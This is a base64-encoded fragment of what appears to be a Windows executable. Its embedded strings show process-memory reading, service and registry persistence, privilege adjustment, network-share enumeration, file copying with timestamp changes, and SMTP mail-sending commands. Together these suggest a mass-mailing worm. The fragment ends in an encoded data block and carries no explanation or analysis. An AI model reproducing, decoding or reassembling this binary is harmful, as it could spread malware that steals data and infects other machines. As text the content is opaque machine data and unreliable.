AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAXWZbGQ0NDQ3ts7Gzq7Oxs6E7o7 e9bZePob2Xj6G96Q8LobE7o7e9b6W9Hx3hh6mPuZOxsTG3pY1pr7mFreWvsa+roTujt71vv6 u97bOxs6uzsbOhO6O3vW+Tt4e3re2zsbOrs7GzoTujt71lg7e944+vvb+hs6E7o7exPbu9Z4 WpreGHqY+5k7GxMbeljWuPu43ts7Gzq7Oxs6E7o7e9ZY+pqaet5a+xr6uhO6O3vWmni4294Y epj7mTsbExt6WNZ7eLv63jiac5v62PobE7o7E5vY1lg7u/k73jiac5v62PobE7o7E5vY1th6 WHqY3pg7urs4OztaE7o7exPbu9a7eht7+hvemDu6uzg7O1oTujt7E9u71ru6ODsbOt6YO7q7 ODs7WhO6O3sT27vWmjsbW3p63pg7urs4OztaE7o7exPbu9Z7+pj7+hvw3pg7urs4OztaE7o7 exPbu9Z6Wns7G1remDu6uzg7O1oTujt7E9u71rhYehh6G7s7295beri62/q6OxO6O3sTuDrW GvobG/nemDu6uzg7O1oTujt7E9u71tj6WJj7mfv6c7j6O95beri62/q6OxO6O3sTmpjWm3qY env5WPob3lt6uLrb+ro7E7o7exO4OtZbWNu4ON4+XH4TH35c1pu4e/tY295b+xt42XN7+hta mPq7ehO6O3vWmnqYG/qYmrjeult4mnP7G1h6mBt6WBMamNbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW 